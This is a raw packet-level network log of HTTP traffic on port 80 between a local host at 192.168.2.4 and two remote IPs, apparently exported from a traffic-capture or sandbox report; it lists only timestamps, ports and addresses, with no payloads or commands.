Jul 27, 2023 18:27:07.620712042 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620759010 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620805025 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620811939 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.620851040 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620898008 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620901108 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.620944023 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620990038 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620999098 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.621033907 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.621079922 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.621094942 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.621758938 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.803226948 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803308010 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803358078 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803406954 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803452969 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803502083 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803551912 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803560019 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.803596973 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803617001 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.803617001 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.803647995 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803694963 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803714991 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.803742886 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803792953 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.803808928 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.803853035 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.809022903 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809088945 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809144020 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809194088 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809218884 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.809242010 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809251070 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.809288979 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809336901 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809354067 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.809386015 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809433937 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809456110 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.809482098 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809530020 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809576035 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.809592009 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.810161114 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.814785957 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.814994097 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815042973 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815088987 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815092087 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.815134048 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815182924 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815201044 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.815229893 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815278053 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815289974 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.815325022 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815336943 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.815371990 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815418005 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815432072 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.815493107 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815541983 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.815552950 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.820348024 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820400000 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820439100 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.820513964 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820559025 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820607901 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820621014 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.820657015 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820702076 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820718050 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.820749998 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820795059 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820807934 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.820847988 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.820904016 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820950985 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.820998907 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.821011066 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.824827909 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.825186968 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.878345013 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:07.996498108 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996556044 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996603012 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996649027 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996682882 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.996716976 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996732950 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.996762991 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996809006 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996819973 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.996855974 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996901035 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996927977 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.996947050 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.996993065 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.997047901 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.002525091 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002573013 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002604961 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.002618074 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002664089 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002708912 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002732992 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.002753019 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002775908 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.002799034 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002846003 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002891064 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002906084 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.002934933 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002979994 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.002994061 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.003025055 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.003036976 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.008589983 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.008656025 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.008702993 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.008733988 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.008749962 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.008796930 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.008807898 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.008841991 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.008851051 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.008887053 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.008934021 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.008949995 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.008980989 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.009027004 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.009035110 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.009073019 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.009120941 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.009191990 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.014341116 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014408112 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014456987 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014491081 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.014504910 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014518023 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.014553070 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014597893 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014643908 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014662981 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.014689922 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014736891 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014758110 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.014784098 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014796972 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.014830112 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014875889 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014923096 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.014940023 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.014991999 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.018338919 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018388987 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018435955 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018480062 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.018481016 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018528938 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018574953 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018588066 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.018620014 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018666983 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018681049 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.018712997 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018759012 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018779993 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.018806934 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018852949 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.018865108 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.018908024 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.022511005 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022576094 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022624016 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022660971 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.022672892 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022721052 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022766113 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022782087 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.022814035 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022860050 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022871971 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.022906065 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022911072 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.022952080 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.022996902 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.023006916 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.023042917 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.023092985 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.023107052 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.026936054 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027002096 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027031898 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.027050972 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027097940 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027138948 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.027143955 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027194977 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027214050 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.027242899 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027290106 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027304888 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.027338028 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027384996 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027415037 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.027431965 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027478933 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.027514935 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.030679941 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.030746937 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.030797958 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.030836105 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.030846119 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.030868053 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.030894995 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.030941010 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.030968904 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.030987024 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.031033993 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.031080008 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.031100035 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.031126976 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.031148911 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.031177044 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.031224012 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.031270981 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.031286955 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.031914949 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.033324957 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.033377886 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.033468008 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.150187016 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.150319099 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.184137106 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.194785118 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.194855928 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.194905996 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.194955111 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.194967031 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.195002079 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.195050001 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.195096016 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.195135117 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.195135117 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.195148945 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.195209980 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.195210934 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.195255995 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.195303917 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.195352077 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.195372105 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.195420980 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.200639963 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.200706959 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.200757027 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.200803995 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.200817108 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.200851917 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.200898886 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.200911045 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.200947046 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.200994968 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.201004982 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.201040983 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.201049089 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.201087952 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.201134920 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.201143980 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.201186895 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.201236963 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.206583023 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.206660986 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.206721067 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.206737995 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.206778049 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.206824064 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.206870079 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.206883907 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.206917048 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.206955910 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.206962109 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.207007885 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.207029104 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.207053900 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.207098961 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.207108974 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.207145929 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.207197905 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.207202911 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211249113 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211311102 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211378098 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.211380959 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211446047 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211498976 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211544037 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211575031 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.211590052 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211637974 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211683035 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211694956 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.211729050 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211772919 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211783886 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.211818933 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.211879015 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.215665102 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.215737104 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.215789080 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.215817928 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.215833902 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.215854883 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.215879917 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.215926886 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.215939999 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.215975046 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.216021061 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.216029882 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.216067076 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.216113091 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.216159105 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.216167927 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.216208935 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.216255903 CEST	80	49711	187.204.99.218	192.168.2.4
